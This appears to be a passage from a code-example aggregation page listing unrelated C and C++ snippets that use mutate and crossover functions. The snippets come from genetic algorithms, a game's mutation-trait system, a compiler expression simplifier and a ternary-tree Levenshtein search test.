        std::transform(m_population.begin(), m_population.begin() + crossOverRatio, std::back_inserter(nextGenPopulation), [&realImage, this](const SurfaceWrapper& sw)
        {
            auto& pop = getPop();

            cinder::Surface s = crossOver(sw.image, pop[RANDOMIZER.nextUint(pop.size())].image);

            return SurfaceWrapper(s, getFitness(realImage, s));
        });
    }


    unsigned int randomRatio = tools::clamp<int>(
        static_cast<int>(getPercent(RANDOM) * m_popSize),
        0,
        m_popSize - copyRatio - mutateRatio - crossOverRatio
        );

    if (nextGenPopulation.size() + randomRatio < m_popSize)
    {
        randomRatio = m_popSize - nextGenPopulation.size();
    }

    if (randomRatio > 0)
    {
        std::transform(m_population.begin(), m_population.begin() + randomRatio, std::back_inserter(nextGenPopulation), [&realImage, this](const SurfaceWrapper& sw)
        {
            cinder::Surface s = getRandomSurface(sw.image.getWidth(), sw.image.getHeight());

            return SurfaceWrapper(s, getFitness(realImage, s));
        });
    }



    std::sort(nextGenPopulation.begin(), nextGenPopulation.end(), [](const SurfaceWrapper& s1, const SurfaceWrapper& s2)
    {
        return s1.fitness < s2.fitness;
    });


    m_population = nextGenPopulation;

    return m_population.front().image;
}
Esempio n. 10
0
/*
 * evolution of the group, including the process of
 * select parent, crossover and mutation
 */
void evolve(Group* grp)
{
	select_parent(grp);
	crossover(grp);
	mutate(grp);
}
Esempio n. 11
0
/**
 * Main method of genetic algorithm.
 * @param config Struct with configuraiton parameters like population size, number of gens, etc...
 * @see struct Chromosome_configuration
 */
int genetic_main(Ptr_config config)
{
#ifdef TRACE
    printf("---> genetic_main.\n");
    fflush(stdout);
#endif

    const int TOTAL_CHROM = config->total_chrom;
    const int MAX_ITER = config->max_iter;
    const int MAX_REP_MEJOR = config->max_iter_best;
    const int CHROMOSOME_LENGTH = config->chrom_length;

    int rep_best, fin,  ale1, ale2, eti1, eti2, iter, i, validos, np;
    double best;
    Ptr_Chromosome *List_Chromosome; // Array of chromosmes. Population.

    rep_best = 10;
    fin = 0;
    ale1 = 0;
    ale2 = 0;
    eti1 = 0;
    eti2 = 0;

    iter = 0;
    i = 0;
    validos = 0; /**< Percentage of valid chromosomes */

    // Time measurement variables
    struct timeval *tv;
    struct timezone *tz;
    long tf, ti, si, sf;
    double tiempo, mut;

    tv = (struct timeval *)malloc(sizeof(struct timeval));
    tz = NULL;

    gettimeofday(tv, tz);
    si = (tv->tv_sec);
    ti = (tv->tv_usec);
    ti = si * 1000000 + ti;

    srand (time (NULL));

    /*
     * ##########################################
     * ###### GENERATE INITIAL POPULATION #######
     * ##########################################
     */

    List_Chromosome = (Ptr_Chromosome*)malloc(TOTAL_CHROM * sizeof(Ptr_Chromosome));


// Canditate loop to be paralelized with OpenMP
    for ( i = 0 ; i < TOTAL_CHROM ; i++ )
    {
        List_Chromosome[i] = create_chromosome(i, CHROMOSOME_LENGTH);
    }

    rep_best = 0;
    best = -1.0; //se le da un valor que no tiene ninguno para que no coincida

// ######### MAIN LOOP ##########
    while ( fin == 0 )
    {

        /*
         * ###########################################
         * ###### EVALUATION AND CLASSIFICATION ######
         * ###########################################
         */

        // Canditate loop to be paralelized with OpenMP
        for ( i = 0  ; i < TOTAL_CHROM ; i++ )
        {
            if ( ((List_Chromosome[i])->evaluation == BAD_CHROM) && (good_chromosome(List_Chromosome[i], CHROMOSOME_LENGTH) == 1) )
            {
                List_Chromosome[i]->evaluation = evaluate_chromosome(List_Chromosome[i], CHROMOSOME_LENGTH);
            };
        };
        classify_chromosome(List_Chromosome, TOTAL_CHROM);
        best = List_Chromosome[0]->evaluation;

        /*
         * #####################################
         * ###### CHROMOSOME REPRODUCTION ######
         * #####################################
         */
#ifdef TRACE
        printf("Reproduccion de los cromosomas\n");
        fflush(stdout);
#endif

        // Canditate loop to be paralelized with OpenMP
        for ( i = TOTAL_CHROM / 2 ; i < TOTAL_CHROM - 1 ; i = i + 2 )
        {
            // Elimination of the worst half part of the population
            eti1 = List_Chromosome[i]->id;
            eti2 = List_Chromosome[i + 1]->id;
            ale1 = (int)(rand() % (TOTAL_CHROM / 2));
            ale2 = (int)(rand() % (TOTAL_CHROM / 2));

            free_chromosome(List_Chromosome[i]);
            free_chromosome(List_Chromosome[i + 1]);
            List_Chromosome[i] = NULL;
            List_Chromosome[i + 1] = NULL;

            crossover(List_Chromosome[ale1], List_Chromosome[ale2], &List_Chromosome[i], &List_Chromosome[i + 1], CHROMOSOME_LENGTH, ONE_POINT_CROSS);
            List_Chromosome[i]->id = eti1;
            List_Chromosome[i + 1]->id = eti2;
        }

        /*
         * ####################################
         * #######       MUTATION      ########
         * ####################################
         */
        mut = (double)(rand() % (100));
        if ( mut < 10 ) //el 10% de que haya mutacion
        {
            ale1 = (int)(rand() % (TOTAL_CHROM / 2));
            mutate(List_Chromosome[ale1], CHROMOSOME_LENGTH, BIT_STRING_MUTATION);
        };

        iter++;

        // CHECK END CONDITIONS
        if ((best == (List_Chromosome[0])->evaluation) && (best != BAD_CHROM))
            rep_best++;
        else
        {
            rep_best = 0;
            best = (List_Chromosome[0])->evaluation;
        };

        if ( (rep_best == MAX_REP_MEJOR) || (iter == MAX_ITER)   )
            fin = 1;

        /*
         * #####################################################################
         * ###### EVALUACION Y CLASIFICACION DESPUES DE CRUCE Y MUTACION. ######
         * #####################################################################
         */

// Canditate loop to be paralelized with OpenMP
        for ( i = 0  ; i < TOTAL_CHROM ; i++ )
        {
            if ( ((List_Chromosome[i])->evaluation == BAD_CHROM) && (good_chromosome(List_Chromosome[i], CHROMOSOME_LENGTH) == 1) )
            {
                List_Chromosome[i]->evaluation = evaluate_chromosome(List_Chromosome[i], CHROMOSOME_LENGTH);
            };
        };
        classify_chromosome(List_Chromosome, TOTAL_CHROM);

        // PRINT 3 BEST CHROMOSOMES
        printf("%d ITERATION. 3 BEST CHROMOSOMES:\n", iter);
        for ( i = 0 ; i < 3 ; i++)
        {
            show_chromosome(List_Chromosome[i], CHROMOSOME_LENGTH);
        }

    };// ########### END OF MAIN LOOP ###########


    // TIME MEASUREMENT
    gettimeofday(tv, tz);
    sf = (tv->tv_sec);
    tf = (tv->tv_usec);
    tf = sf * 1000000 + tf;
    tiempo = (1.0 * tf - 1.0 * ti) / 1000000.0;
    printf("\nExecution time T=%lf s.\n", tiempo);
    fflush(stdout);

    // CALCULATE PERCENTAGE OF VALID CHROMOSOMES.
    for ( i = 0 ; i < TOTAL_CHROM ; i++ )
        if ( List_Chromosome[i]->evaluation != BAD_CHROM )
            validos++;
    printf("%d%% of valid chromosomes.\n", (validos * 100) / TOTAL_CHROM);

    // Free memory
    for ( i = 3 ; i < TOTAL_CHROM ; i++ )
        free_chromosome(List_Chromosome[i]);
    List_Chromosome = realloc(List_Chromosome, 3 * sizeof(struct Chromosome));
}
Esempio n. 12
0
void player::mutate_towards( const std::string &mut )
{
    if (has_child_flag(mut)) {
        remove_child_flag(mut);
        return;
    }
    const auto &mdata = mutation_branch::get( mut );

    bool has_prereqs = false;
    bool prereq1 = false;
    bool prereq2 = false;
    std::vector<std::string> canceltrait;
    std::vector<std::string> prereq = mdata.prereqs;
    std::vector<std::string> prereqs2 = mdata.prereqs2;
    std::vector<std::string> cancel = mdata.cancels;

    for (size_t i = 0; i < cancel.size(); i++) {
        if (!has_trait( cancel[i] )) {
            cancel.erase(cancel.begin() + i);
            i--;
        } else if (has_base_trait( cancel[i] )) {
            //If we have the trait, but it's a base trait, don't allow it to be removed normally
            canceltrait.push_back( cancel[i]);
            cancel.erase(cancel.begin() + i);
            i--;
        }
    }

    for (size_t i = 0; i < cancel.size(); i++) {
        if (!cancel.empty()) {
            std::string removed = cancel[i];
            remove_mutation(removed);
            cancel.erase(cancel.begin() + i);
            i--;
            // This checks for cases where one trait knocks out several others
            // Probably a better way, but gets it Fixed Now--KA101
            mutate_towards(mut);
            return;
        }
    }

    for (size_t i = 0; (!prereq1) && i < prereq.size(); i++) {
        if (has_trait(prereq[i])) {
            prereq1 = true;
        }
    }

    for (size_t i = 0; (!prereq2) && i < prereqs2.size(); i++) {
        if (has_trait(prereqs2[i])) {
            prereq2 = true;
        }
    }

    if (prereq1 && prereq2) {
        has_prereqs = true;
    }

    if (!has_prereqs && (!prereq.empty() || !prereqs2.empty())) {
        if (!prereq1 && !prereq.empty()) {
            mutate_towards( random_entry( prereq ) );
            return;
        } else if (!prereq2 && !prereqs2.empty()) {
            mutate_towards( random_entry( prereqs2 ) );
            return;
        }
    }

    // Check for threshhold mutation, if needed
    bool threshold = mdata.threshold;
    bool profession = mdata.profession;
    bool has_threshreq = false;
    std::vector<std::string> threshreq = mdata.threshreq;

    // It shouldn't pick a Threshold anyway--they're supposed to be non-Valid
    // and aren't categorized--but if it does, just reroll
    if (threshold) {
        add_msg(_("You feel something straining deep inside you, yearning to be free..."));
        mutate();
        return;
    }
    if (profession) {
        // Profession picks fail silently
        mutate();
        return;
    }

    for (size_t i = 0; !has_threshreq && i < threshreq.size(); i++) {
        if (has_trait(threshreq[i])) {
            has_threshreq = true;
        }
    }

    // No crossing The Threshold by simply not having it
    // Rerolling proved more trouble than it was worth, so deleted
    if (!has_threshreq && !threshreq.empty()) {
        add_msg(_("You feel something straining deep inside you, yearning to be free..."));
        return;
    }

    // Check if one of the prereqs that we have TURNS INTO this one
    std::string replacing = "";
    prereq = mdata.prereqs; // Reset it
    for( auto &elem : prereq ) {
        if( has_trait( elem ) ) {
            std::string pre = elem;
            const auto &p = mutation_branch::get( pre );
            for (size_t j = 0; replacing == "" && j < p.replacements.size(); j++) {
                if (p.replacements[j] == mut) {
                    replacing = pre;
                }
            }
        }
    }

    // Loop through again for prereqs2
    std::string replacing2 = "";
    prereq = mdata.prereqs2; // Reset it
    for( auto &elem : prereq ) {
        if( has_trait( elem ) ) {
            std::string pre2 = elem;
            const auto &p = mutation_branch::get( pre2 );
            for (size_t j = 0; replacing2 == "" && j < p.replacements.size(); j++) {
                if (p.replacements[j] == mut) {
                    replacing2 = pre2;
                }
            }
        }
    }

    set_mutation(mut);

    bool mutation_replaced = false;

    game_message_type rating;

    if (replacing != "") {
        const auto &replace_mdata = mutation_branch::get( replacing );
        if(mdata.mixed_effect || replace_mdata.mixed_effect) {
            rating = m_mixed;
        } else if(replace_mdata.points - mdata.points < 0) {
            rating = m_good;
        } else if(mdata.points - replace_mdata.points < 0) {
            rating = m_bad;
        } else {
            rating = m_neutral;
        }
        add_msg(rating, _("Your %1$s mutation turns into %2$s!"),
                replace_mdata.name.c_str(), mdata.name.c_str());
        add_memorial_log(pgettext("memorial_male", "'%s' mutation turned into '%s'"),
                         pgettext("memorial_female", "'%s' mutation turned into '%s'"),
                         replace_mdata.name.c_str(), mdata.name.c_str());
        unset_mutation(replacing);
        mutation_loss_effect(replacing);
        mutation_effect(mut);
        mutation_replaced = true;
    }
    if (replacing2 != "") {
        const auto &replace_mdata = mutation_branch::get( replacing2 );
        if(mdata.mixed_effect || replace_mdata.mixed_effect) {
            rating = m_mixed;
        } else if(replace_mdata.points - mdata.points < 0) {
            rating = m_good;
        } else if(mdata.points - replace_mdata.points < 0) {
            rating = m_bad;
        } else {
            rating = m_neutral;
        }
        add_msg(rating, _("Your %1$s mutation turns into %2$s!"),
                replace_mdata.name.c_str(), mdata.name.c_str());
        add_memorial_log(pgettext("memorial_male", "'%s' mutation turned into '%s'"),
                         pgettext("memorial_female", "'%s' mutation turned into '%s'"),
                         replace_mdata.name.c_str(), mdata.name.c_str());
        unset_mutation(replacing2);
        mutation_loss_effect(replacing2);
        mutation_effect(mut);
        mutation_replaced = true;
    }
    for (size_t i = 0; i < canceltrait.size(); i++) {
        const auto &cancel_mdata = mutation_branch::get( canceltrait[i] );
        if(mdata.mixed_effect || cancel_mdata.mixed_effect) {
            rating = m_mixed;
        } else if(mdata.points < cancel_mdata.points) {
            rating = m_bad;
        } else if(mdata.points > cancel_mdata.points) {
            rating = m_good;
        } else if(mdata.points == cancel_mdata.points) {
            rating = m_neutral;
        } else {
            rating = m_mixed;
        }
        // If this new mutation cancels a base trait, remove it and add the mutation at the same time
        add_msg(rating, _("Your innate %1$s trait turns into %2$s!"),
                cancel_mdata.name.c_str(), mdata.name.c_str());
        add_memorial_log(pgettext("memorial_male", "'%s' mutation turned into '%s'"),
                        pgettext("memorial_female", "'%s' mutation turned into '%s'"),
                        cancel_mdata.name.c_str(), mdata.name.c_str());
        unset_mutation(canceltrait[i]);
        mutation_loss_effect(canceltrait[i]);
        mutation_effect(mut);
        mutation_replaced = true;
    }
    if (!mutation_replaced) {
        if(mdata.mixed_effect) {
            rating = m_mixed;
        } else if(mdata.points > 0) {
            rating = m_good;
        } else if(mdata.points < 0) {
            rating = m_bad;
        } else {
            rating = m_neutral;
        }
        add_msg(rating, _("You gain a mutation called %s!"), mdata.name.c_str());
        add_memorial_log(pgettext("memorial_male", "Gained the mutation '%s'."),
                         pgettext("memorial_female", "Gained the mutation '%s'."),
                         mdata.name.c_str());
        mutation_effect(mut);
    }

    set_highest_cat_level();
    drench_mut_calc();
}
Esempio n. 13
0
Expr Simplify::visit(const Cast *op, ExprInfo *bounds) {
    // We don't try to reason about bounds through casts for now
    Expr value = mutate(op->value, nullptr);

    if (may_simplify(op->type) && may_simplify(op->value.type())) {
        const Call *call = value.as<Call>();
        const Cast *cast = value.as<Cast>();
        const Broadcast *broadcast_value = value.as<Broadcast>();
        const Ramp *ramp_value = value.as<Ramp>();
        double f = 0.0;
        int64_t i = 0;
        uint64_t u = 0;
        if (call && (call->is_intrinsic(Call::indeterminate_expression) ||
                     call->is_intrinsic(Call::signed_integer_overflow))) {
            if (call->is_intrinsic(Call::indeterminate_expression)) {
                return make_indeterminate_expression(op->type);
            } else {
                return make_signed_integer_overflow(op->type);
            }
        } else if (value.type() == op->type) {
            return value;
        } else if (op->type.is_int() &&
                   const_float(value, &f) &&
                   std::isfinite(f)) {
            // float -> int
            return IntImm::make(op->type, safe_numeric_cast<int64_t>(f));
        } else if (op->type.is_uint() &&
                   const_float(value, &f) &&
                   std::isfinite(f)) {
            // float -> uint
            return UIntImm::make(op->type, safe_numeric_cast<uint64_t>(f));
        } else if (op->type.is_float() &&
                   const_float(value, &f)) {
            // float -> float
            return FloatImm::make(op->type, f);
        } else if (op->type.is_int() &&
                   const_int(value, &i)) {
            // int -> int
            return IntImm::make(op->type, i);
        } else if (op->type.is_uint() &&
                   const_int(value, &i)) {
            // int -> uint
            return UIntImm::make(op->type, safe_numeric_cast<uint64_t>(i));
        } else if (op->type.is_float() &&
                   const_int(value, &i)) {
            // int -> float
            return FloatImm::make(op->type, safe_numeric_cast<double>(i));
        } else if (op->type.is_int() &&
                   const_uint(value, &u)) {
            // uint -> int
            return IntImm::make(op->type, safe_numeric_cast<int64_t>(u));
        } else if (op->type.is_uint() &&
                   const_uint(value, &u)) {
            // uint -> uint
            return UIntImm::make(op->type, u);
        } else if (op->type.is_float() &&
                   const_uint(value, &u)) {
            // uint -> float
            return FloatImm::make(op->type, safe_numeric_cast<double>(u));
        } else if (cast &&
                   op->type.code() == cast->type.code() &&
                   op->type.bits() < cast->type.bits()) {
            // If this is a cast of a cast of the same type, where the
            // outer cast is narrower, the inner cast can be
            // eliminated.
            return mutate(Cast::make(op->type, cast->value), bounds);
        } else if (cast &&
                   (op->type.is_int() || op->type.is_uint()) &&
                   (cast->type.is_int() || cast->type.is_uint()) &&
                   op->type.bits() <= cast->type.bits() &&
                   op->type.bits() <= op->value.type().bits()) {
            // If this is a cast between integer types, where the
            // outer cast is narrower than the inner cast and the
            // inner cast's argument, the inner cast can be
            // eliminated. The inner cast is either a sign extend
            // or a zero extend, and the outer cast truncates the extended bits
            return mutate(Cast::make(op->type, cast->value), bounds);
        } else if (broadcast_value) {
            // cast(broadcast(x)) -> broadcast(cast(x))
            return mutate(Broadcast::make(Cast::make(op->type.element_of(), broadcast_value->value), broadcast_value->lanes), bounds);
        } else if (ramp_value &&
                   op->type.element_of() == Int(64) &&
                   op->value.type().element_of() == Int(32)) {
            // cast(ramp(a, b, w)) -> ramp(cast(a), cast(b), w)
            return mutate(Ramp::make(Cast::make(op->type.element_of(), ramp_value->base),
                                     Cast::make(op->type.element_of(), ramp_value->stride),
                                     ramp_value->lanes), bounds);
        }
    }

    if (value.same_as(op->value)) {
        return op;
    } else {
        return Cast::make(op->type, value);
    }
}
Esempio n. 14
0
int main(int argc, char** argv)
{
	std::vector<SNPSupport> supports = loadSupports(argv[1]);
	supports = mutate(supports, std::stod(argv[3]));
	writeSupports(supports, argv[2]);
}
Esempio n. 15
0
File: main.cpp Progetto: CCJY/coliru
int main(int argc, char **argv) {
    time_t t;
    /* Intializes random number generator */
   srand((unsigned) time(&t));
	char **population; //include every parent that is about to have childen
	int length = LENGTH;
	int max_population = PSIZE;
	double mutation_rate = MUTAION_RATE;
	int i;
	population = (char **) malloc(max_population * sizeof(char *));
	for (i = 0; i < max_population; i++) {
		population[i] = (char *) malloc(length * sizeof(char));
	}
//	puts("init..");
	initp(population);
//	print_population(population);
	int total_fitness = totalFitness(population);
	printf("total fitness: %d\n", total_fitness);

	double p_crossover = (double) 0.5; //this determines the crossover point in chrom
	int generation = 0;
	int limit = LENGTH * max_population;
	while (total_fitness < limit) {
		generation++;
		for (i = 0; i < max_population; i++) {
			char *child = crossover(population, p_crossover);
			mutate(child, mutation_rate);
			//printf("child: %s\n", child);
			population[i] = child;
		}
		printf("after %d generation\n", generation);
	//	print_population(population);
		total_fitness = totalFitness(population);
		printf("total fitness: %d\n", total_fitness);
	}

	//long long type can represent upto 20 bits of 1 and 0,
	//chroms longer than 20bits will be splited to array of long long numbers

	/*char chrom1[] = "10101010001101011";
	 char chrom2[] = "11010000110010010";
	 int length = sizeof(chrom1)-1;

	 double crossover = (double)0.5; //this determines the crossover point in chrom

	 //generate mask for crossover
	 char *mask1 = (char *) malloc(length*sizeof(char));
	 char *mask2 = (char *) malloc(length*sizeof(char));
	 generate_mask(mask1, mask2, length, crossover);
	 printf("input  1: %15s (%d) 2: %15s (%d) Length: %d\n", chrom1, fitness(chrom1,length), chrom2, fitness(chrom2, length), length);
	 printf("masks  1: %15s 2: %15s\n", mask1, mask2);
	 char *ptr1,*ptr2;

	 //convert the above 4 string values to decimal int following binary rule.
	 long long ret1 = strtoul(chrom1, &ptr1, 2);
	 long long ret2 = strtoul(chrom2, &ptr2, 2);
	 long long m1 = strtoul(mask1, &ptr1, 2);
	 long long m2 = strtoul(mask2, &ptr2, 2);

	 //crossover operation
	 long long ichild1 = (ret1 & m2) ^ (ret2 & m1);
	 long long ichild2 = (ret1 & m1) ^ (ret2 & m2);
	 //convert binary format childern to string, in order to add them to parent pool.
	 char *child1 = (char *)malloc(length * sizeof(char));
	 char *child2 = (char *)malloc(length * sizeof(char));
	 sprintf(child1,"%lld",int_to_binary(ichild1));
	 sprintf(child2,"%lld",int_to_binary(ichild2));

	 printf("child 1: %18s 2: %s",child1,child2);
	 */

	return 0;
}
Esempio n. 16
0
int main(int argc, char **argv)
{
	int maxprims, maxfigs, maxpts, state, maxindivs, namelen;
	int nfigs, nprims, npts, setsize, iters;
	int ext;
	struct Individ *indivs, tmp;
	struct Figure *figs, *figset;
	char *str;
	ssize_t chread;
	size_t n;
	int i, j, k, m, nindivs;
	struct NestAttrs attrs;
	
	str = NULL;
	n = 0;

	maxfigs = 128;
	namelen = 2048;
	state = STATE_NEWFIG;
	nfigs = nprims = npts = 0;
	figs = (struct Figure*)xmalloc(sizeof(struct Figure) * maxfigs);

	while ((chread = getline(&str, &n, stdin)) != -1) {
		double x, y;
		trim(str);

		if (state == STATE_NEWFIG) {
			figs[nfigs].name = (char*)xmalloc(sizeof(char) * namelen);
			sscanf(str, "%s %d %d\n", figs[nfigs].name, &figs[nfigs].quant, &figs[nfigs].angstep);
			state = STATE_PRIM;
			
			maxpts = 2048;
			maxprims = 128;

			figs[nfigs].prims = (struct Primitive*)xmalloc(sizeof(struct Primitive) * maxprims); 
			figs[nfigs].prims[nprims].pts = (struct Point*)xmalloc(sizeof(struct Point) * maxpts);

	//		free(str);
			str = NULL;
			continue;
		}
		
		if (strcmp(str, FIG_SEPAR) == 0) {
			state = STATE_NEWFIG;
			figs[nfigs].prims[nprims].npts = npts;
			nprims++;
			figs[nfigs].id = nfigs;
			figs[nfigs].nprims = nprims;
			nfigs++;
			
			if (nfigs == maxfigs) {
				maxfigs *= 2;
				figs = (struct Figure*)xrealloc(figs, sizeof(struct Figure) * maxfigs);
			}
			
			nprims = 0;
			npts = 0;

	//		free(str);
			str = NULL;
			continue;
		}

		if (strcmp(str, PRIM_SEPAR) == 0) {
			figs[nfigs].prims[nprims].npts = npts;
			nprims++;
			if (nprims == maxprims) {
				maxprims *= 2;
				figs[nfigs].prims = (struct Primitive*)xrealloc(figs[nfigs].prims, sizeof(struct Primitive) * maxprims);
			}

			maxpts = 2048;
			figs[nfigs].prims[nprims].pts = (struct Point*)xmalloc(sizeof(struct Point) * maxpts);
			npts = 0;

	//		free(str);
			str = NULL;
			continue;
		}
		
		sscanf(str, "%lf %lf\n", &x, &y);
		
		figs[nfigs].prims[nprims].pts[npts].x = x;
		figs[nfigs].prims[nprims].pts[npts].y = y;
		npts++;

		if (npts == maxpts) {
			maxprims *= 2;
			figs[nfigs].prims[nprims].pts = (struct Point*)xrealloc(figs[nfigs].prims[nprims].pts, sizeof(struct Point) * maxpts);
		}

	//	free(str);
		str = NULL;
	}

	for (i = 0; i < nfigs; i++) {
		figinit(&figs[i]);
	}


	attrs.width = atof(argv[1]);
	attrs.height = atof(argv[2]);
	attrs.type = ROTNEST_DEFAULT;
	attrs.logfile = fopen("./logfile", "w+");

		
	figset = makeset(figs, nfigs, &setsize);
	qsort(figset, setsize, sizeof(struct Figure), figcmp);

	maxindivs = 1024;
	indivs = (struct Individ*)xmalloc(sizeof(struct Individ) * maxindivs);
	indivs[0].genom = (int*)xmalloc(sizeof(int) * setsize);
	indivs[0].gensize = 0;

	rotnest(figset, setsize, &indivs[0], &attrs);
			
	nindivs = 1;	
	ext = 0;
	iters = atoi(argv[3]);
	for (i = 0; i < iters && !ext; i++) {
		int nnew = 0, equal = 0, oldn;
		
		printf("nindivs=%d\n", nindivs);
		for (j = 0; j < 1; j++) {
			printf("ind=%d height=%lf gensize=%d genom: ", i, indivs[j].height, indivs[j].gensize);
			for (k = 0; k < indivs[j].gensize; k++) { 
				printf("%d ", indivs[j].genom[k]);
			}
			printf("\n");
		}

		printf("\n");

		oldn = nindivs;
		for (j = 0; j < oldn - 1 && nnew < 30; j++) {
			struct Individ heirs[2];
			if (indivs[j].gensize == indivs[j + 1].gensize) {
				int res;
				res = crossover(&indivs[j], &indivs[j + 1], &heirs[0], setsize);
				crossover(&indivs[j + 1], &indivs[j], &heirs[1], setsize);
	
				if (res < 0) {
					break;
				}
			}
			else {
				break;
			}

			for (k = 0; k < 2; k++) {
				for (m = 0; m < nindivs; m++) {
					equal = gensequal(&heirs[k], &indivs[m]) || gensequal2(&heirs[k], &indivs[m], figset);
					if (equal) {
						break;
					}
				}
			

				if (!equal) {
					nnew++;
					rotnest(figset, setsize, &heirs[k], &attrs);
					indivs[nindivs] = heirs[k];
					nindivs++;

					if (nindivs == maxindivs) {
						maxindivs *= 2;
						indivs = (struct Individ*)xrealloc(indivs, sizeof(struct Individ) * maxindivs);
					}
				} else {
					destrindiv(&heirs[k]);
				}
			}
		}
		
	
		
		equal = 0;
		while (nnew == 0) {
			int res;
			res = mutate(&indivs[0], &tmp, setsize);
			if (res < 0) {
				ext = 1;
				break;
			}
			equal = 0;
			for (j = 0; j < nindivs; j++) {
				equal = gensequal(&tmp, &indivs[j]) || gensequal2(&tmp, &indivs[j], figset);
				if (equal) {
					break;
				}
			}
			if (!equal) {
				nnew++;
				rotnest(figset, setsize, &tmp, &attrs);
				indivs[nindivs] = tmp;
				nindivs++;

				if (nindivs == maxindivs) {
					maxindivs *= 2;
					indivs = (struct Individ*)xrealloc(indivs, sizeof(struct Individ) * maxindivs);
				}
			} else {
				destrindiv(&tmp);
			}
		}
		qsort(indivs, nindivs, sizeof(struct Individ), gencmp);
	}
	


	for (i = 0; i < indivs[0].npos; i++) {
		double a, b, c, d, e, f;
		a = indivs[0].posits[i].fig.mtx[0][0];
		b = indivs[0].posits[i].fig.mtx[1][0];
		c = indivs[0].posits[i].fig.mtx[0][1];
		d = indivs[0].posits[i].fig.mtx[1][1];
		e = indivs[0].posits[i].fig.mtx[0][2];
		f = indivs[0].posits[i].fig.mtx[1][2];

		printf("%s\n", indivs[0].posits[i].fig.name);
		printf("matrix(%lf, %lf, %lf, %lf, %lf, %lf)\n:\n", a, b, c, d, e, f);
	}

//	ppos2file("./drawposits", indivs[0].posits, indivs[0].npos);
	
	return 0;
}
Esempio n. 17
0
	Genotype::Genotype(const ID_type nID, const std::pair<Genotype*, Genotype*> parents) 
		: ID(nID), decision_chromosome(), link_chromosome(),
		  fitness(parents.first->fitness), value(0.0), generator(nID) {
		
		real_type mutation_rate = 0.2, crossover_rate = 0.5;
		int i, j, ii, jj;
		
		//breed new chromosomes from parents, use hardcoded mutation and crossover rates
		fitness->add(ID, this);
		
		//what does crossover rate mean?
		//generate 2 random numbers for decision_chromosome crossover
		std::uniform_int_distribution<> random_int(0, decision_chromosome.size() - 1);
		std::bernoulli_distribution crossover(crossover_rate);
		if( crossover(generator) ) {
			i = random_int(generator);
			
			//take beginning of chromosome from first parent ...
			for(ii=i; ii>=0; --ii) 
				decision_chromosome[ii] = parents.first->decision_chromosome[ii];
			
			//... and the rest from the second parent
			for(ii=decision_chromosome.size()-1; ii>i; --ii) 
				decision_chromosome[ii] = parents.second->decision_chromosome[ii];
		}
		
		//decide whether to mutate
		std::bernoulli_distribution mutate(mutation_rate);
		random_int = std::uniform_int_distribution<>(0, decision_chromosome.size() - 1);
		if( mutate(generator) ) ~decision_chromosome[random_int(generator)]; //flip a bit
		
		//generate 2 random numbers for link_chromosome crossover
		if( crossover(generator) ) {
			ii = random_int(generator);
			
			//take beginning of chromosome from first parent ...
			for(i=i; i>=0; --i) //over genetic nodes
				for(j=link_chromosome[0].size()-1; j>=0; --j) //over each connectivity vector
					link_chromosome[i][j] = parents.first->link_chromosome[i][j];
			
			//... and the rest from the second parent
			for(i=decision_chromosome.size()-1; i>ii; --i) 
				for(j=link_chromosome[0].size()-1; j>=0; --j)
					link_chromosome[i][j] = parents.second->link_chromosome[i][j];
		}
		
		//decide whether to mutate
		//mutations must occur in pairs to preserve K=2 connectivity
		random_int = std::uniform_int_distribution<>(0, link_chromosome.size() - 1);
		i = random_int(generator); //which bitset
		
		random_int = std::uniform_int_distribution<>(0, link_chromosome[0].size() - 1);
		j = random_int(generator); //which false bit to flip
		
		std::bernoulli_distribution random_bit(0.5);
		bool first = random_bit(generator); //which true bit to flip (there are only 2)
		
		ii = link_chromosome[0].size() - 1;
		if( mutate(generator) ) {
			for(ii; ii>=0; --ii) {
				if( link_chromosome[i][ii] ) { //true bit found
					if(first) { link_chromosome[i][ii] = false; break; }
					else first = true; //flip next true bit
				} 
			} 
			
			while(link_chromosome[i][j]) { //make sure bit is false to start with
				j = random_int(generator);
			} 
			//may reflip the same bit, but it doesn't matter; happens rarely
			link_chromosome[i][j] = true;
		} //if
		
	} //constructor
Esempio n. 18
0
int levenshtein_search_test()
{
	long result = errors_counter();

	// Create a tree with known levenshtein count = 100
	std::string b0("abcdefjklmn");
	int testcount = 3;
	while ( testcount ) {
		std::random_shuffle(b0.begin(), b0.end());
		int baselen = (int)b0.size();
		typedef containers::ternary_tree<std::string, std::string> Tst;
		Tst names;
		int L1count = 0, L2count = 0, L3count = 0, L4count = 0;
		for (int i = 0; i < baselen; i++)
		{
			std::string s1(b0);
			mutate(s1, i);
			if (names.insert(std::make_pair(s1, s1)).second)
				L1count++;
			for (int j = 0; j < (int)s1.size(); j++)
			{
				if (j == i)
					continue;
				std::string s2(s1);
				mutate(s2, j);
				if (names.insert(std::make_pair(s2, s2)).second)
					L2count++;
				for (int k = 0; k < (int)s2.size(); k++)
				{
					if (abs(k - j) <= 1 || abs(k - i) <= 1)
						continue;
					std::string s3(s2);
					mutate(s3, k);
					//if (s3.size() < s2.size() && s3.size() == s1.size())
					//	continue;
					//if (names.insert(std::make_pair(s3, s3)).second)
					//	L3count++;
					for (int m = 2; m < (int)s3.size() - 2; m++)
					{
						if (abs(m - j) <= 2 || abs(m - i) <= 2 || abs(m - k) <= 2)
							continue;
						std::string s4(s3);
						mutate(s4, m);
						if (m + 1 >= (int)s4.size())
							continue;
						mutate(s4, m + 1);
						if (m - 1 < 0)
							continue;
						mutate(s4, m - 1);
						if (m + 2 >= (int)s4.size())
							continue;
						mutate(s4, m + 2);
						if (m - 2 < 0)
							continue;
						mutate(s4, m - 2);
						if (abs((int)s4.size() - (int)b0.size()) < 2) {
							s4.insert(rand()%s4.size(), 1, 'Z');
							s4.insert(rand()%s4.size(), 1, 'Z');
						}
						if (names.insert(std::make_pair(s4, s4)).second)
							L4count++;
					}
				}
			}
		}

		if (names.size() != L1count + L2count + L3count + L4count) {
			std::cout << "levenshtein tree name collision, try again";
			continue;
		}
		Tst::search_results_list results = names.create_search_results();
		typedef Tst::search_results_list::iterator ResultsIter;
		names.levenshtein_search(b0, std::back_inserter(results), 2);
		if (results.size() != L1count + L2count + L3count)
		{
			Tst found;
			for (ResultsIter rit = results.begin(); rit != results.end(); ++rit)
				found[**rit] = **rit;
			BOOST_CHECK(found.size() == L1count + L2count); // + L3count);
			std::cout << "\nSearch " << b0 //<< ", L-count: " << names.levenshtein_search_count
					<< ", found " << results.size() << " strings";
			std::cout << " (" << found.size() << " in " << found.node_count() << " nodes)\n";
			if (found.size() != L1count + L2count) { // + L3count) {
				Tst::iterator fit = found.begin();
